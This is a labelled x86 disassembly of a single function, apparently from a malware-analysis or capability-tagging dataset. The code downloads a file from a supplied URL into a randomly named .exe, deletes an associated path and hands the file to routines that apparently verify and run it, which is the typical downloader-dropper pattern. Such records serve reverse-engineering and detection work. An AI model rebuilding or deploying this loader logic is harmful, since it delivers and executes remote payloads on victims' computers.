Function at 0x4014d0
Capabilities:
Create http request
Delete file
Download and write a file
Download url
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa5c
mov eax, dword [0x409004]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0xa3d], 0
push 0x208
lea eax, [ebp - 0x624]
push eax
push 0x4052ac
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strlen]
add esp, 4
mov dword [ebp - 0xa50], eax
mov edx, dword [ebp - 0xa50]
add edx, 1
push edx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x82c]
push ecx
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xa54], eax
mov edx, dword [ebp - 0xa54]
push edx
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [ebp - 0xa58], eax
mov eax, dword [ebp - 0xa58]
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x624]
push edx
push 0x4052bc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0
push 0
push 0
push 0x405308
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0xa4c], eax
cmp dword [ebp - 0xa4c], 0
je 0x401727
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x82c]
push ecx
mov edx, dword [ebp - 0xa4c]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0xa48], eax
cmp dword [ebp - 0xa48], 0
je 0x40171a
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xa44], eax
cmp dword [ebp - 0xa44], 0xffffffff
je 0x40170d
lea ecx, [ebp - 0xa3c]
push ecx
push 0x207
lea edx, [ebp - 0xa34]
push edx
mov eax, dword [ebp - 0xa48]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40167d
mov ecx, 4
imul edx, ecx, 0
cmp dword [ebp + edx - 0xa3c], 0
je 0x40167d
push 0
mov eax, 4
shl eax, 0
lea ecx, [ebp + eax - 0xa3c]
push ecx
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp + eax - 0xa3c]
push ecx
lea edx, [ebp - 0xa34]
push edx
mov eax, dword [ebp - 0xa44]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x40160f
mov ecx, dword [ebp - 0xa44]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x210]
push edx
push 0x4052d4
push 0x208
lea eax, [ebp - 0x41c]
push eax
call fcn.00401060
add esp, 0x10
lea ecx, [ebp - 0x41c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x210]
push edx
call fcn.004011d0
add esp, 4
movzx eax, al
test eax, eax
je 0x401700
lea ecx, [ebp - 0x210]
push ecx
call fcn.00401420
add esp, 4
movzx edx, al
cmp edx, 1
jne 0x4016fe
mov byte [ebp - 0xa3d], 1
jmp 0x40170d
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0xa44]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0xa48]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0xa4c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
movsx ecx, byte [ebp - 0xa3d]
test ecx, ecx
jne 0x401811
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov dword [ebp - 0xa5c], eax
mov eax, dword [ebp - 0xa5c]
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x2710
push edx
lea edx, [ebp - 0x624]
push edx
push str._ls_d.exe
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0x82c]
push edx
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x401811
lea eax, [ebp - 0x210]
push eax
push 0x4053c0
lea ecx, [ebp - 0x41c]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x41c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x210]
push eax
call fcn.004011d0
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x401804
lea edx, [ebp - 0x210]
push edx
call fcn.00401420
add esp, 4
jmp 0x401811
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004040fa
mov esp, ebp
pop ebp
ret